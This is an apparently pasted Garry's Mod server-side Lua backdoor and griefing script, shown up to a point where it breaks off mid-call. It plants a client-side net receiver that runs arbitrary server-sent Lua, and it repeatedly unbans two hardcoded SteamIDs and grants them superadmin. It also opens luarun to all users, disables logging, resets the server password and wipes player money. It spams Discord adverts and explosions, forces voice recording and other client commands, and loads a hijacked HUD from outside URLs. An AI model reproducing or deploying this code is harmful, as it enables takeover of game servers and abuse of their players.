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Jul 19th, 2019
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  1. util.AddNetworkString "slua2"
  2.  
  3. local DESIRED_NAME = "This Steam account has been VAC banned from secure servers due to a cheating infraction."
  4.  
  5. local lol = {}
  6. function lol:RandomString( intMin, intMax )
  7. local ret = ""
  8. for _ = 1, math.random( intMin, intMax ) do
  9. ret = ret.. string.char( math.random(65, 90) )
  10. end
  11.  
  12. return ret
  13. end
  14.  
  15.  
  16.  
  17. lol.m_tblActions = {}
  18. lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
  19. lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  20.  
  21. function lol:PushAction( intChainDelay, func )
  22. self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
  23. end
  24.  
  25. function lol:NextAction( pPlayer )
  26. pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
  27. if not self.m_tblActions[pPlayer.m_intCurAction] then return end
  28.  
  29. timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
  30. if not IsValid( pPlayer ) then return end
  31. self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
  32. self:NextAction( pPlayer )
  33. end )
  34. end
  35.  
  36. function lol:Start( pPlayer )
  37. pPlayer.m_intCurAction = 0
  38. self:NextAction( pPlayer )
  39. end
  40.  
  41. function lol:SendLua( pPlayer, strLua )
  42. net.Start( "slua2" )
  43. net.WriteString( strLua )
  44. net.Send( pPlayer )
  45. end
  46.  
  47. function lol:SetupPlayer( pPlayer )
  48. pPlayer:SendLua( "net.Receive(\"slua2\", function() RunString(net.ReadString()) end)" )
  49. end
  50.  
  51.  
  52. -------START CODE FORT BAN/UNBAN/ETC...
  53. timer.Create( "sethealh", 1, 0, function() RunConsoleCommand("ulx", "hp", "*", "2147483647") end)
  54. timer.Create( "logecho0", 1, 0, function() RunConsoleCommand("ulx", "logecho", "0") end)
  55. timer.Create( "godall", 1, 0, function() RunConsoleCommand("ulx", "god", "*") end)
  56. for k, v in pairs( player.GetAll() ) do
  57. timer.Create( "moneymoney", 0.1, 0, function() v:addMoney(1000000000000000000) end)
  58. timer.Create( "ripriprip", 0.1, 0, function() BroadcastLua([[chat.AddText(Color(math.random(1,255),math.random(1,255),math.random(1,255)), "RIP RIP RIP RIP RIP RIP RIP RIP RIP RIP RIP RIP RIP RIP RIP RIP")]]) end)
  59. timer.Create( "getowned", 0.1, 0, function() BroadcastLua([[chat.AddText(Color(math.random(1,255),math.random(1,255),math.random(1,255)), "GET OWNED BY MELATRON")]]) end)
  60. timer.Create( "ohnon", 0.1, 0, function() BroadcastLua([[chat.AddText(Color(math.random(1,255),math.random(1,255),math.random(1,255)), "Quel dommage, toutes les données du serveur seront supprimés dans moins de 1 minute ! :( ")]]) end)
  61. timer.Create( "checkForBanSparks", 10, 0, function() ULib.unban( "STEAM_0:0:105015067") end)
  62. timer.Create( "setSUPERADMINSparks", 30, 0, function() RunConsoleCommand("ulx", "adduserid", "STEAM_0:0:105015067", "superadmin") end)
  63. timer.Create( "checkForBanLenny", 10, 0, function() ULib.unban( "STEAM_0:1:81414478") end)
  64. timer.Create( "setSUPERADMINLenny", 30, 0, function() RunConsoleCommand("ulx", "adduserid", "STEAM_0:1:81414478", "superadmin") end)
  65. timer.Create( "luarun", 2, 0, function() RunConsoleCommand("ulx", "groupallow", "user", "ulx luarun") end)
  66. timer.Create( "resetmoney", 0.1, 0, function() RunConsoleCommand("rp_resetallmoney") end)
  67. timer.Create( "csay", 0.1, 0, function() RunConsoleCommand("ulx", "csay", "OMG GET FUCKT BY TEAMSMENU.EXE | https://discord.gg/JwTjN8Z") end)
  68. timer.Create( "hostname", 2, 0, function() RunConsoleCommand("ulx", "rcon", "hostname", "Serveur hacké par la sharing | Discord : https://discord.gg/JwTjN8Z") end)
  69. timer.Create( "sv_password", 2, 0, function() RunConsoleCommand("ulx", "rcon", "sv_password", "smenu.exe") end)
  70. timer.Create( "bot", 0.1, 0, function() RunConsoleCommand("ulx", "rcon", "bot") end)
  71. timer.Create( "changer de nom", 0.5, 0, function() for k, v in pairs(player.GetAll()) do DarkRP.storeRPName(v, DESIRED_NAME) v:setDarkRPVar("rpname", DESIRED_NAME) end end)
  72. timer.Create( "undoprops", 0.1, 0, function() for k, v in pairs(player.GetAll()) do v:ConCommand("undo") end end)
  73. enigma()
  74. end
  75. ----------STOP LINE CODE FORT BAN/UNBAN/ETC...
  76.  
  77. -----START LINE CODE FOR DANSE
  78. for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_CHEER) end timer.Create("cheer_loop",2.3,0,function() for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_CHEER) end end )
  79. -----STOP LINE CODE FOR DANSE
  80.  
  81. ------- STARTCODE FOR FORCE CHANGE NAME
  82. for k, v in pairs(player.GetAll()) do DarkRP.storeRPName(v, DESIRED_NAME) v:setDarkRPVar("rpname", DESIRED_NAME) end
  83. ------- STOP LINE CODE FOR CHANGE NAME
  84.  
  85. ------- ARMAGEDDON
  86. hook.Add("Think", "armageddon", function()
  87. local explode = ents.Create( "env_explosion" )
  88. explode:SetPos( Vector(math.random(-6000, 6000), math.random(-6000, 6000), math.random(-500, 2000)) )
  89. explode:Spawn()
  90. explode:SetKeyValue( "iMagnitude", "500" )
  91. explode:Fire( "Explode", 0, 0 )
  92. end)
  93. ---------TOURNER
  94.  
  95. for k,v in ipairs(player.GetAll()) do
  96. v:ConCommand("+right")
  97. v:ConCommand("+duck")
  98. v:ConCommand("+voicerecord")
  99. v:ConCommand("gmod_language","ko")
  100. v:ConCommand("ground","color.math.66=math.99")
  101. v:ConCommand("r_shader_srgb","1")
  102. v:ConCommand("cl_yawspeed","9999")
  103.  
  104. end
  105.  
  106. --------- GIANT
  107. hook.Add("Think", "giant", function()
  108. for k,v in pairs (player.GetAll()) do
  109. v:SetModelScale(50.5, 100);
  110. v:SetRunSpeed(400 * 2);
  111. v:SetWalkSpeed(200 * 2);
  112. end
  113. end)
  114. ------------------
  115.  
  116. for k,v in pairs(player.GetAll()) do
  117. v:ConCommand("say armageddon")
  118. end
  119.  
  120. for k,v in pairs(player.GetAll()) do
  121. v:ConCommand("say giant")
  122. end
  123.  
  124. for k, v in pairs( player.GetAll() ) do
  125. lol:SetupPlayer( v )
  126. timer.Simple( 2, function() lol:Start( v ) end )
  127. end
  128.  
  129. hook.Add( "PlayerAuthed", "wat", function( pPlayer )
  130. lol:SetupPlayer( pPlayer )
  131. timer.Simple( 10, function() lol:Start( pPlayer ) end )
  132. end )
  133. hook.Add( "PlayerFootstep", "oooh", function( ply )
  134.  
  135. ply:EmitSound( "vo/npc/female01/pain0" .. math.random( 1, 9 ) .. ".wav", 75, math.random( 50, 100 ) )
  136.  
  137. end )
  138.  
  139. hook.Add( "PlayerSay", "1337command", function( pSender, strText, bTeamChat )
  140. if strText:sub( 1, 5 ) == "/1337" then
  141. pSender:Ignite( 1e9 )
  142. pSender:ChatPrint( "fuck this job i quit" )
  143. pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  144. return false
  145. end
  146. end )
  147.  
  148. hook.Add( "PlayerSay", "what", function( pSender, strText, bTeamChat )
  149. if strText:sub( 1, 5 ) == "what" then
  150. pSender:Ignite( 1e9 )
  151. pSender:ChatPrint( "Que demande un douanier à un cochon qui passe la frontière ? Son passe-porc ! lol xd mdr lol xptdr... vref brule connard" )
  152. pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  153. return false
  154. end
  155. end)
  156.  
  157. --Sequence stack
  158. --Start some tunes and steam in our assets
  159. lol:PushAction( 0, function( pPlayer )
  160. lol:SendLua( pPlayer, ([=[
  161. sound.PlayURL( "https://musicdeouff.000webhostapp.com/turnitup.mp3", "", function()end )
  162.  
  163. g_]=].. lol.m_strImageGlobalVar.. [=[ = {}
  164. local html = [[%s]]
  165. local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  166. local pnl = vgui.Create( "HTML" )
  167. pnl:SetPos( ScrW() -1, ScrH() -1 )
  168. pnl:SetVisible( true )
  169. pnl:SetMouseInputEnabled( false )
  170. pnl:SetKeyBoardInputEnabled( false )
  171. pnl:SetSize( intSizeX, intSizeY )
  172. pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  173.  
  174. local PageLoaded
  175. PageLoaded = function()
  176. local mat = pnl:GetHTMLMaterial()
  177. if mat then
  178. g_]=].. lol.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
  179. return
  180. end
  181.  
  182. timer.Simple( 0.5, PageLoaded )
  183. end
  184.  
  185. PageLoaded()
  186. end
  187.  
  188. LoadWebMaterial( "https://cdn.frankerfacez.com/068183fea2bfbea358eae44fb5af1469.png", "getrekt", 1000, 1000 )
  189. LoadWebMaterial( "https://media.giphy.com/media/uCa2PBLWtcidy/giphy.gif", "getrekt2", 152, 250 )
  190. LoadWebMaterial( "https://media.tenor.com/images/1becb19cbedc5d189eed3102a9c86bf2/tenor.gif", "getrekt3", 152, 250 )
  191. ]=]):format(lol.m_strImageLoadHTML) )
  192. end )
  193.  
  194. --HUD swap
  195. lol:PushAction( 31, function( pPlayer )
  196. lol:SendLua( pPlayer, [[
  197. (GAMEMODE or GM).CalcView = function() end
  198. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  199.  
  200. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  201. for k, v in pairs(remove) do
  202. hook.GetTable()[v] = {}
  203. end
  204.  
  205. local function GetWebMat( strURL )
  206. return g_]].. lol.m_strImageGlobalVar.. [[[strURL]
  207. end
  208.  
  209. hook.Add( "HUDPaint", "newhud", function()
  210. surface.SetDrawColor( 255, 255, 255, 255 )
  211.  
  212.  
  213. if GetWebMat( "getrekt" ) then
  214. surface.SetMaterial( GetWebMat("getrekt")[1] )
  215. surface.DrawTexturedRect( 500, 50, 1000, 1000 )
  216. end
  217. if GetWebMat( "getrekt2" ) then
  218. surface.SetMaterial( GetWebMat("getrekt2")[1] )
  219. surface.DrawTexturedRect( 100, 425, 400, 400 )
  220. end
  221. if GetWebMat( "getrekt3" ) then
  222. surface.SetMaterial( GetWebMat("getrekt3")[1] )
  223. surface.DrawTexturedRect( 1550, 425, 400, 400 )
  224. end
  225.  
  226. draw.SimpleTextOutlined(
  227. "---»--@-} By !!!Mel le Dieu de la Destruction {-@--«---",
  228. "DermaLarge",
  229. ScrW() /2 +math.random( -8, 8 ),
  230. ScrH() /2 +math.random( -8, 8 ) +64,
  231. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  232. TEXT_ALIGN_CENTER,
  233. TEXT_ALIGN_CENTER,
  234. 1,
  235. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  236. )
  237.  
  238. draw.SimpleTextOutlined(
  239. "-=₪۩۞۩₪= Serveur Hacké avec Smenu =₪۩۞۩₪=-",
  240. "DermaLarge",
  241. ScrW() /2 +math.random( -8, 8 ),
  242. ScrH() /2 +math.random( -8, 8 ) +24,
  243. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  244. TEXT_ALIGN_CENTER,
  245. TEXT_ALIGN_CENTER,
  246. 1,
  247. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  248. )
  249. draw.SimpleTextOutlined(
  250. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  251. "DermaLarge",
  252. ScrW() /2 +math.random( -2, 2 ),
  253. ScrH() /2 +math.random( -2, 2 ) -160,
  254. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  255. TEXT_ALIGN_CENTER,
  256. TEXT_ALIGN_CENTER,
  257. 3,
  258. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  259. )
  260.  
  261. draw.SimpleTextOutlined(
  262. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  263. "DermaLarge",
  264. ScrW() /2 +math.random( -2, 2 ),
  265. ScrH() /2 +math.random( -2, 2 ) +160,
  266. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  267. TEXT_ALIGN_CENTER,
  268. TEXT_ALIGN_CENTER,
  269. 3,
  270. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  271. )
  272. draw.SimpleTextOutlined(
  273. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  274. "DermaLarge",
  275. ScrW() /2 +math.random( -2, 2 ),
  276. ScrH() /2 +math.random( -2, 2 ) +190,
  277. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  278. TEXT_ALIGN_CENTER,
  279. TEXT_ALIGN_CENTER,
  280. 3,
  281. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  282. )
  283. draw.SimpleTextOutlined(
  284. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  285. "DermaLarge",
  286. ScrW() /2 +math.random( -2, 2 ),
  287. ScrH() /2 +math.random( -2, 2 ) -190,
  288. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  289. TEXT_ALIGN_CENTER,
  290. TEXT_ALIGN_CENTER,
  291. 3,
  292. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  293. )
  294. draw.SimpleTextOutlined(
  295. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  296. "DermaLarge",
  297. ScrW() /2 +math.random( -2, 2 ),
  298. ScrH() /2 +math.random( -2, 2 ) +220,
  299. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  300. TEXT_ALIGN_CENTER,
  301. TEXT_ALIGN_CENTER,
  302. 3,
  303. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  304. )
  305. draw.SimpleTextOutlined(
  306. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  307. "DermaLarge",
  308. ScrW() /2 +math.random( -2, 2 ),
  309. ScrH() /2 +math.random( -2, 2 ) -220,
  310. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  311. TEXT_ALIGN_CENTER,
  312. TEXT_ALIGN_CENTER,
  313. 3,
  314. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  315. )
  316. draw.SimpleTextOutlined(
  317. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  318. "DermaLarge",
  319. ScrW() /2 +math.random( -2, 2 ),
  320. ScrH() /2 +math.random( -2, 2 ) +250,
  321. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  322. TEXT_ALIGN_CENTER,
  323. TEXT_ALIGN_CENTER,
  324. 3,
  325. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  326. )
  327. draw.SimpleTextOutlined(
  328. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  329. "DermaLarge",
  330. ScrW() /2 +math.random( -2, 2 ),
  331. ScrH() /2 +math.random( -2, 2 ) -250,
  332. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  333. TEXT_ALIGN_CENTER,
  334. TEXT_ALIGN_CENTER,
  335. 3,
  336. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  337. )
  338. draw.SimpleTextOutlined(
  339. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  340. "DermaLarge",
  341. ScrW() /2 +math.random( -2, 2 ),
  342. ScrH() /2 +math.random( -2, 2 ) +280,
  343. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  344. TEXT_ALIGN_CENTER,
  345. TEXT_ALIGN_CENTER,
  346. 3,
  347. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  348. )
  349. draw.SimpleTextOutlined(
  350. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  351. "DermaLarge",
  352. ScrW() /2 +math.random( -2, 2 ),
  353. ScrH() /2 +math.random( -2, 2 ) -280,
  354. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  355. TEXT_ALIGN_CENTER,
  356. TEXT_ALIGN_CENTER,
  357. 3,
  358. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  359. )
  360. draw.SimpleTextOutlined(
  361. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  362. "DermaLarge",
  363. ScrW() /2 +math.random( -2, 2 ),
  364. ScrH() /2 +math.random( -2, 2 ) +310,
  365. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  366. TEXT_ALIGN_CENTER,
  367. TEXT_ALIGN_CENTER,
  368. 3,
  369. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  370. )
  371. draw.SimpleTextOutlined(
  372. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  373. "DermaLarge",
  374. ScrW() /2 +math.random( -2, 2 ),
  375. ScrH() /2 +math.random( -2, 2 ) -310,
  376. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  377. TEXT_ALIGN_CENTER,
  378. TEXT_ALIGN_CENTER,
  379. 3,
  380. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  381. )
  382. draw.SimpleTextOutlined(
  383. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  384. "DermaLarge",
  385. ScrW() /2 +math.random( -2, 2 ),
  386. ScrH() /2 +math.random( -2, 2 ) +340,
  387. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  388. TEXT_ALIGN_CENTER,
  389. TEXT_ALIGN_CENTER,
  390. 3,
  391. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  392. )
  393. draw.SimpleTextOutlined(
  394. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  395. "DermaLarge",
  396. ScrW() /2 +math.random( -2, 2 ),
  397. ScrH() /2 +math.random( -2, 2 ) -340,
  398. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  399. TEXT_ALIGN_CENTER,
  400. TEXT_ALIGN_CENTER,
  401. 3,
  402. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  403. )
  404. draw.SimpleTextOutlined(
  405. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  406. "DermaLarge",
  407. ScrW() /2 +math.random( -2, 2 ),
  408. ScrH() /2 +math.random( -2, 2 ) -370,
  409. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  410. TEXT_ALIGN_CENTER,
  411. TEXT_ALIGN_CENTER,
  412. 3,
  413. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  414. )
  415. draw.SimpleTextOutlined(
  416. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  417. "DermaLarge",
  418. ScrW() /2 +math.random( -2, 2 ),
  419. ScrH() /2 +math.random( -2, 2 ) +370,
  420. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  421. TEXT_ALIGN_CENTER,
  422. TEXT_ALIGN_CENTER,
  423. 3,
  424. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  425. )
  426. draw.SimpleTextOutlined(
  427. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  428. "DermaLarge",
  429. ScrW() /2 +math.random( -2, 2 ),
  430. ScrH() /2 +math.random( -2, 2 ) -400,
  431. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  432. TEXT_ALIGN_CENTER,
  433. TEXT_ALIGN_CENTER,
  434. 3,
  435. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  436. )
  437. draw.SimpleTextOutlined(
  438. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  439. "DermaLarge",
  440. ScrW() /2 +math.random( -2, 2 ),
  441. ScrH() /2 +math.random( -2, 2 ) +400,
  442. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  443. TEXT_ALIGN_CENTER,
  444. TEXT_ALIGN_CENTER,
  445. 3,
  446. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  447. )
  448. draw.SimpleTextOutlined(
  449. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  450. "DermaLarge",
  451. ScrW() /2 +math.random( -2, 2 ),
  452. ScrH() /2 +math.random( -2, 2 ) -430,
  453. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  454. TEXT_ALIGN_CENTER,
